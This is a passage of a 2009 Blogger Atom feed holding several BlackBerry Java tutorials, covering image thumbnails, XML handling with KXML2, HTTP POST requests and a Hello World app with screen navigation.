href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6507459449209413929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6507459449209413929'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/11/new-features-in-ubuntu-910-karmic-koala.html' title='New Features in Ubuntu 9.10 (Karmic Koala)'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_Pms4ehFPMfI/Su08WicEVuI/AAAAAAAAA50/Or01AumiOME/s72-c/Screenshot-1.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6356384665216858726</id><published>2009-10-14T08:27:00.000-07:00</published><updated>2009-12-26T10:34:46.879-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='thumbnail generation in blackberry'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry Application'/><title type='text'>Generating thumbnail from a captured image in Blackberry</title><content type='html'>&lt;div style="text-align: justify;"&gt;Blackberry OS v4.6 and later will allow you to directly interact with camera and capture images. Till OS v4.5 for capturing image you needed to invoke the default camera application present in Blackberry using Invoke api. After capturing you may want to display the image as a thumbnail to user so now you will have question how can you do this. Even I had this same question and looked into many forums but didn't get a satisfactory answer later when I saw the Blackberry api reference i found a function by name &lt;b&gt;scaleImage32&lt;/b&gt; under &lt;b&gt;EncodedImage&lt;/b&gt; class. But I couldn't make it work properly since i had to convert my Bitmap image into EncodedImage and then use the function and get the Bitmap from this scaled image using getBitmap which is an expensive  call requiring lot of processing along with that whatever i get as output of this function was only 4bytes which means there was some problem in my logic. After struggling a lot I looked at the class &lt;b&gt;Bitmap &lt;/b&gt;in the JDE refernce i found the &lt;b&gt;createBitmapFromBytes&lt;/b&gt; allowed scaling and this function worked perfectly fine. Below is the piece of code which does this work.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;FileConnection fc = null;&lt;br /&gt;InputStream  is = null;&lt;br /&gt;int length;&lt;br /&gt;byte[] data = null;&lt;br /&gt;Bitmap thumbnail = null;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;fc = (FileConnection)Connector.open(filename);&lt;br /&gt;is = fc.openInputStream();&lt;br /&gt;if(fc.exists()) {&lt;br /&gt;length = (int)fc.fileSize();&lt;br /&gt;data = new byte[length];&lt;br /&gt;fc.read(data,0,length);&lt;br /&gt;thumnail = Bitmap.createBitmapFromBytes(data,0,length,20);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;catch(Exception e)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Prototype of createBitmapFromBytes is as follows&lt;br /&gt;&lt;/div&gt;&lt;pre name="code" class="java"&gt;static Bitmap createBitmapFromBytes(byte[] bytes, int offset, int length, int scale)&lt;br /&gt;&lt;/pre&gt;Here I've just mentioned the logic modify it to suite your needs. Your thumbnail will be returned as Bitmap object which you can use easily in your application.&lt;br /&gt;One more thing I wanted to add here is scale factor to get thumbnail sized image your scale factor should be more than 20. C ya till next time&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6356384665216858726?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/10/generating-thumbnail-from-captured.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6356384665216858726'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6356384665216858726'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/10/generating-thumbnail-from-captured.html' title='Generating thumbnail from a captured image in Blackberry'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8034769699605935203</id><published>2009-10-11T01:56:00.000-07:00</published><updated>2009-12-26T10:51:32.300-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='KXML'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry Application'/><title type='text'>Managing data using XML in Blackberry</title><content type='html'>&lt;div style="text-align: justify;"&gt;XML files are good  medium for storing and exchanging the data over the network and they are widely used in many technologies to store and exchange the data. A good example which I can provide here are the web services, configuration files of many java based application servers and java based web projects and also in the API's of famous social network sites like twitter.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;It is easy to store the data as a XML file in application that you develop for the blackberry. Though there are storage options like record store and persistent objects available in Blackberry I prefer the XML files over them. Blackberry provides SAX parser for parsing and modifying XML but I felt little difficult to use SAX api so I choose &lt;a href="http://kxml.sourceforge.net/kxml2/" target="_blank" title="KXML2"&gt;KXML &lt;/a&gt;as best alternative for SAX. I'm going to tell how to create a XML file using KXML without loosing a sweat and parsing the already existing XML files.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Creating a simple XML file using KXML2 api's&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Consider a simple XML file as shown below.&lt;br /&gt;&lt;pre class="xml" name="code"&gt;&amp;lt;? xml version="1.0" encoding="UTF-8" ?&amp;gt;&lt;br /&gt;&amp;lt;company&amp;gt; &amp;lt;employee id="1"&amp;gt; &amp;lt;fname&amp;gt;Vasudev&amp;lt;/fname&amp;gt; &amp;lt;lname&amp;gt;Kamath&amp;lt;/lname&amp;gt; &amp;lt;address&amp;gt;Karkala&amp;lt;/address&amp;gt; &amp;lt;/employee&amp;gt; ... &amp;lt;/company&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Use the below mentioned code for creating a xml file like above, the code itself is self explanatory.&lt;br /&gt;&lt;pre class="java" name="code"&gt;Document d = new Document();&lt;br /&gt;Element root = d.createElement("","company");&lt;br /&gt;Element employee = d.createElement("","employee");&lt;br /&gt;e.setAttribute("","id","1");&lt;br /&gt;&lt;br /&gt;Element fname = d.createElement("","fname");&lt;br /&gt;fname.addChild(Node.TEXT,"Vasudev");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Element lname = d.createElement("","lname");&lt;br /&gt;lname.addChild(Node.TEXT,"Kamath");&lt;br /&gt;&lt;br /&gt;Element address = d.createElement(Node.TEXT,"address");&lt;br /&gt;address.addChild(Node.TEXT,"Karkala");&lt;br /&gt;&lt;br /&gt;employee.addChild(Node.ELEMENT,fname);&lt;br /&gt;employee.addChild(Node.ELEMENT,lname);&lt;br /&gt;employee.addChild(Node.ELEMENT,address);&lt;br /&gt;&lt;br /&gt;root.addChild(Node.ELEMENT,employee);&lt;br /&gt;d.addChild(Node.ELEMENT,root);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Here first i'm creating a Document which is going to represent my XML file and then i'm creating the nodes required in my XML. The Node.ELEMENT represents and entire XML tag and its contents. For example  is an XML Element and if you look at  tag the content b/w opening and closing tag is simple text and is represented using Node.TEXT.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Next step is to write this document to the file for which  we need KXmlSerializer which is part of KXML2 apis. Below is the code to write the document to file&lt;br /&gt;&lt;/div&gt;&lt;pre name="code" class="java"&gt;String fileName = "file:///SDCard/Blackberry/company.xml"&lt;br /&gt;DataOutputStream os = null;&lt;br /&gt;FileConnection fc = null&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;fc = (FileConnection)Connector.open(filename,Connector.READ_WRITE);&lt;br /&gt;if (! fc.exists())&lt;br /&gt;fc.create();&lt;br /&gt;&lt;br /&gt;os = fconn.openDataOutputStream();&lt;br /&gt;KXmlSerializer serializer = new KXmlSerializer();&lt;br /&gt;serializer.setOutput(os, "UTF-8");&lt;br /&gt;d.write(serializer);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;catch (IOException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;As you can see it is very simple to create XML files using KXML2 api's and possibility of missing few ending tags while writing XML file is very less since API itself takes care of creating XML files.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ok next step is parsing the XML file and it is also pretty simple.I'll tell how to read the XML file into a Document() object and parse it and functions required to get a particular node and its child node remaining logic you need to implement depending on your requirements. Below is the code for reading a file to Document and parsing it.&lt;br /&gt;&lt;/div&gt;&lt;pre class="java" name="code"&gt;Document d= new Document();&lt;br /&gt;FileConnection fc =  null;&lt;br /&gt;DataInputStream is = null;&lt;br /&gt;try {&lt;br /&gt;fc = (FileConnection) Connector.open(fileName, Connector.READ);&lt;br /&gt;is = fc.openDataInputStream();&lt;br /&gt;&lt;br /&gt;KXmlParser parser = new KXmlParser();&lt;br /&gt;parser.setInput(is, "UTF-8");&lt;br /&gt;d.parse(parser);&lt;br /&gt;} catch (IOException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;} catch (XmlPullParserException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;This code gets the entire XML file to Document() object d and also parses it !!. Amazing rite you didn't even do a file read operation and yet have the whole content into Document() object. Well this is why I liked KXML more than SAX. If you are interested in seeing how it does you can get the source code of KXML2 api's  and see. Now you have XML file in Document() object next how to get the required node? It is very simple you have function called &lt;b&gt;getElement(String namespace,name)&lt;/b&gt; which gets particular node from its name in the XML file. There are many such functions available in KXML2 apis for more information look at its java doc &lt;a href="http://kxml.sourceforge.net/kxml2/javadoc/" target="_blank" title="KXML2 Javadoc"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Last thing which I want to mention here is KXML library is meant not only for Blackberry but all those phones which supports  J2ME. You need to have either KXML2 jar as library in your project or if you want to debug the KXML2 then you need to &lt;a href="http://sourceforge.net/project/downloading.php?group%5Fid=9157&amp;amp;filename=kxml2-src-2.3.0.zip&amp;amp;a=104174" target="_blank"&gt;KXML2 source code&lt;/a&gt; and &lt;a href="http://www.xmlpull.org/v1/download/xmlpull_1_1_3_4c_src.zip" target="_blank" title="XML Pull parser"&gt;XML Pull parser source code&lt;/a&gt;. For more information on adding external library to your project please look at  KB article in Blackberry website.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Reference : &lt;a href="http://stackoverflow.com/questions/877428/better-approach-for-xml-creation-in-blackberry/1259070#1259070" target="_blank" title="Stack Overflow"&gt;Stack Overflow&lt;/a&gt; forums&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8034769699605935203?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/10/managing-data-using-xml-in-blackberry.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8034769699605935203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8034769699605935203'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/10/managing-data-using-xml-in-blackberry.html' title='Managing data using XML in Blackberry'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7155333763835166443</id><published>2009-09-13T01:21:00.001-07:00</published><updated>2009-12-26T22:48:04.101-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http post'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry Application'/><title type='text'>Posting Data via Http from Blackberry</title><content type='html'>&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;In this post i'm going to tel how to post the data to web services, don't misunderstand web service to SOAP services. I'm talking about normal webpages designed using jsp,php or asp or similar server side technology. We will be using URLEncodedPostData class from&lt;span style="font-weight: bold;"&gt;net.rim.blackberry.api.browser&amp;nbsp;&lt;/span&gt;package&amp;nbsp;to create a url encoded data which will be posted to webserver. For connecting to a particular website we will use HttpConnection class defined in&amp;nbsp;&lt;span style="font-weight: bold;"&gt;javax.microedition.io&lt;/span&gt;&amp;nbsp;package.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;First let us see how to create URL encoded data to post to server using URLEncodedPostData class. I should remind you this is a signed class and requires code signing for loading the program into actual device. If you want to avoid this you need to write your own function to encode your data into URL Encoded format. Now lets see how to do this using URLEncodedPostData class&lt;br /&gt;&lt;pre name="code" class="java"&gt;URLEncodedPostData _postData = new URLEncodedPostData("",false);&lt;br /&gt;_postData.append("name","value");&lt;br /&gt;&lt;/pre&gt;First argument to constructor is encoding which is to be used leaving it as empty string means use default encoding. Second argument tells whether to use WAP conventions for encoding or not. append(String,String) function is used to create the URL encoded data. For example if your data is in the form fname=vasudev&amp;amp;lname=kamath then you can create this string by writing like this&lt;br /&gt;&lt;pre name="code" class="java"&gt;_postData.append("fname","vasudev");&lt;br /&gt;_postData.append("lname","kamath");&lt;br /&gt;&lt;/pre&gt;Now you know how to prepare your data lets move forward to creating connection to the webserver and then sending the prepared data using HTTP POST method. We will be using HttpConnection class for this purpose.&lt;br /&gt;&lt;pre name="code" class="java"&gt;bytes [] postDataBytes = _postData.getBytes();&lt;br /&gt;HttpConnection _httpCon = (HttpConnection)Connector.open(url);&lt;br /&gt;_httpConnection.setRequestMethod(HttpConnection.POST);&lt;br /&gt;_httpConnection.setRequestProperty("User-Agent","Profile/MIDP-2.0 Configuration/CLDC-1.0");&lt;br /&gt;_httpConnection.setRequestProperty("Content-Language", "en-US");&lt;br /&gt;_httpConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");&lt;br /&gt;_httpConnection.setRequestProperty("Content-Length",(new Integer(postDataBytes.length)).toString());&lt;br /&gt;&lt;/pre&gt;setRequestMethod function tells which method is used to send data it can have 2 values either HttpConnection.GET or HttpConnection.POST. The "User-Agent" string tells webserver about the browser which is sending the data. All above mentioned properties are present in standard Http headers and more detail on them can be found in this&amp;nbsp;&lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html" mce_href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html" target="_blank" title="HTTP/1.1 Header Field Definitions"&gt;link&lt;/a&gt;. Of all the properties important ones are last 2 i.e&amp;nbsp;&lt;span style="font-weight: bold;"&gt;Content-Type&amp;nbsp;&lt;/span&gt;and&amp;nbsp;&lt;span style="font-weight: bold;"&gt;Content-Length&amp;nbsp;&lt;/span&gt;if you forget to mention these to webserver will not be able to read the data you sent. Here Content-Type is set to "&lt;span style="font-weight: bold;"&gt;application/x-www-form-urlencoded&lt;/span&gt;" which tells webserver that request contains url encoded form data. If you are planning to send files in the request to browser you should set Content-Type to "&lt;span style="font-weight: bold;"&gt;multipart/form-data&lt;/span&gt;" instead of this if you use&amp;nbsp;&amp;nbsp;"&lt;span style="font-weight: bold;"&gt;application/x-www-form-urlencoded&lt;/span&gt;" you will get response code as 500 meaning internal server error. Now you have prepared HTTP header with all required fields next step is to write the data to webserver which is done as follows.&lt;br /&gt;&lt;pre name="code" class="java"&gt;OutputStream os = _httpCon.openOutputStream();&lt;br /&gt;os.write(_postData.getBytes());&lt;br /&gt;os.flush(); // not required&lt;br /&gt;int rc = _httpCon.getResponseCode(); //causes data to be sent to server and get response back&lt;br /&gt;&lt;/pre&gt;Depending on the response code you can do further processing. Response code for successful post will be 200 (HttpConnection.HTTP_OK) for more on response codes please see this&amp;nbsp;&lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" mce_href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" target="_blank" title="HTTP/1.1 Status Code Definition"&gt;link&lt;/a&gt;.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Here is a generic class which i designed for posting the data and getting response back in the form of string. Hope it will help you in your program. If there are &amp;nbsp;any mistakes in my post or in the code or any improvement to the code please mention it as comment.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;/div&gt;&lt;pre name="code" class="java"&gt;import java.io.*;&lt;br /&gt;import javax.microedition.io.*;&lt;br /&gt;import net.rim.blackberry.api.browser.URLEncodedPostData;&lt;br /&gt;class HttpPost&lt;br /&gt;{&lt;br /&gt;    private String _url;&lt;br /&gt;    private URLEncodedPostData _postData;&lt;br /&gt;    private byte[] _data;&lt;br /&gt;    private HttpConnection _httpConnection;&lt;br /&gt;    private OutputStream os;&lt;br /&gt;    private InputStream is;&lt;br /&gt;&lt;br /&gt;    HttpPost(String url,URLEncodedPostData data) {&lt;br /&gt;        _postData = postData;&lt;br /&gt;        _url = url;&lt;br /&gt;        try {&lt;br /&gt;          _httpConnection = (HttpConnection)Connector.open(_url);&lt;br /&gt;        } catch(Exception e) {&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public String postData() {&lt;br /&gt;         try {&lt;br /&gt;            bytes [] postDataBytes = _postData.getBytes();&lt;br /&gt;            _httpConnection.setRequestMethod(HttpConnection.POST);&lt;br /&gt;            _httpConnection.setRequestProperty("User-Agent","Profile/MIDP-2.0 Configuration/CLDC-1.0");&lt;br /&gt;            _httpConnection.setRequestProperty("Content-Language", "en-US");&lt;br /&gt;            _httpConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");&lt;br /&gt;            _httpConnection.setRequestProperty("Content-Length",new Integer(postDataBytes.length).toString());&lt;br /&gt;            os = _httpConnection.openOutputStream();&lt;br /&gt;            os.write(_postDataBytes);&lt;br /&gt;            &lt;br /&gt;            int rc = _httpConnection.getResponseCode();&lt;br /&gt;            if(rc == HttpConnection.HTTP_OK) {&lt;br /&gt;                  is = _httpConnection.openInputStream();&lt;br /&gt;                  is.read(_data);&lt;br /&gt;            } else {&lt;br /&gt;              _data = null;&lt;br /&gt;            }&lt;br /&gt;       } catch(Exception e) {&lt;br /&gt;       }&lt;br /&gt;       return (new String(_data));&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;In my next post i'll show how XML files can be handled in blackberry using KXML library. Till then C'ya :)&lt;/div&gt;(&lt;b&gt;Note: In case you are not able to see the code properly because of template you can refer to my other blog &lt;/b&gt;&lt;a href="http://vasudevkamath.techfiz.com/2009/09/13/posting-data-via-http-from-blackberry/"&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7155333763835166443?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/09/posting-data-via-http-from-blackberry.html#comment-form' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7155333763835166443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7155333763835166443'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/09/posting-data-via-http-from-blackberry.html' title='Posting Data via Http from Blackberry'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1660733262065051135</id><published>2009-08-02T02:46:00.000-07:00</published><updated>2009-12-26T23:01:54.738-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry Application'/><title type='text'>Blackberry Sample Application</title><content type='html'>&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Blackberry uses custom J2ME so for developping application for BlackBerry you need to have JDE (Java DEvelopment Environment) from RIM (Research In Motion).&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Its a common practise in any computer language &amp;nbsp;we learn is to start with Hello World ! example. As usual i'm going to give a brief intro on BlackBerry application using a Hello World but i've added a bit more that is how to do screen navigation in blackberry application. Well below is the sample code which I prepared.&lt;/div&gt;&lt;pre name="code" class="java"&gt;import net.rim.device.api.ui.*;&lt;br /&gt;import net.rim.device.api.ui.container.*;&lt;br /&gt;import net.rim.device.api.ui.component.*;&lt;br /&gt;public class HelloWorldDemo extends UiApplication {&lt;br /&gt;    private MainScreen _screen;&lt;br /&gt;    private ButtonField _nextScreen;&lt;br /&gt;&lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt;         HelloWorldDemo instance = new HelloWorldDemo();&lt;br /&gt;         instance.enterEventDispatcher();&lt;br /&gt;    }&lt;br /&gt;    public HelloWorldDemo() {&lt;br /&gt;         _screen = new MainScreen();&lt;br /&gt;         _nextScreen = new ButtonField("Go to Next Screen",ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);&lt;br /&gt;         _nextScreen.setChangeListener(new FieldChangeListener() {&lt;br /&gt;               public void fieldChanged(Field field,int context) {&lt;br /&gt;                  pushScreen(new NextScreen());&lt;br /&gt;               }&lt;br /&gt;          });&lt;br /&gt;          _screen.setTitle(new LabelField("Hello World Demo",LabelField.USE_ALL_WIDTH));&lt;br /&gt;          _screen.add(new RichTextField("Hello to the BlackBerry World!",Field.NON_FOCUSABLE));&lt;br /&gt;          _screen.add(_nextScreen);&lt;br /&gt;          pushScreen(_screen);&lt;/code&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;class NextScreen extends MainScreen {&lt;br /&gt;    public NextScreen() {&lt;br /&gt;          setTitle(new LabelField("Second Screen !",LabelField.USE_ALL_WIDTH));&lt;br /&gt;          add(new RichTextField("This is new screen",Field.NON_FOCUSABLE));&lt;br /&gt;          ButtonField _btnGoBack = new ButtonField("Go Back",ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);&lt;br /&gt;          _btnGoBack.setChangeListener(new FieldChangeListener() {&lt;br /&gt;                public void fieldChanged(Field field,int context) {&lt;br /&gt;                      UiApplication.getUiApplication().popScreen();&lt;br /&gt;                }&lt;br /&gt;               });&lt;br /&gt;          add(_btnGoBack);&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Well blackberry uses different program structure than MIDLETs and is popularly called as RIMLETs or CLDC applications. Let me describe the structure of a CLDC application.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;As you can see program has a public class which contains a main() method which is not there in MIDP applications. Normally most of the screen related operation is done in constructors and class containing main() method extends net.rim.device.api.ui.UiApplication class. In my example class HelloWorldDemo extends UiApplication. In the constructor for this class we create instance of NextScreen and push it on to display stack using pushScreen(Screen screen) method.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;For designing a screen your class must either extend the Screen class or its subclasses or it should have instance of subclasses of Screen. Here the class NextScreen extends the MainScreen. To add a element to screen we use add(Field field) method. For adding menu items we can use addMenuItem(MenuItem menu) method. I've used add method to add a new RichTextField(non-editable) and a ButtonField.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Now you must be thinking how to know when button is clicked. For this you need to register a method using setFieldChangeListener(FieldChangeListener listener). Here FieldChangeListener is an interface with a method fieldChanged which I implemented by creating instance for interface there itself. Whatever is need to be done when button is clicked is written inside this method. As you can see I'm using popScreen method when button Go Back is clicked what this method does is poping the current screen from display stack i.e you will be seeing first screen when you click on go back button.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Below is the screen shots of the first application you developped.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;/div&gt;&lt;table border="0" class="mceItemTable" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;"&gt;&lt;a href="http://picasaweb.google.com/lh/photo/mgRYHk6KRgWlCaGu5uFFdQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite" mce_href="http://picasaweb.google.com/lh/photo/mgRYHk6KRgWlCaGu5uFFdQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite"&gt;&lt;img alt="" mce_src="http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr7VOMlI/AAAAAAAAA34/noPIXlpc-EU/s800/screen-1.jpg" src="http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr7VOMlI/AAAAAAAAA34/noPIXlpc-EU/s800/screen-1.jpg" style="border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div mce_style="text-align: center" style="text-align: center;"&gt;&lt;span class="Apple-style-span" mce_name="strong" mce_style="font-weight: bold;" style="font-weight: bold;"&gt;Screen - 1&lt;/span&gt;&lt;/div&gt;&lt;div mce_style="text-align: center" style="text-align: center;"&gt;&lt;span class="Apple-style-span" mce_name="strong" mce_style="font-weight: bold;" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table border="0" class="mceItemTable" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;"&gt;&lt;a 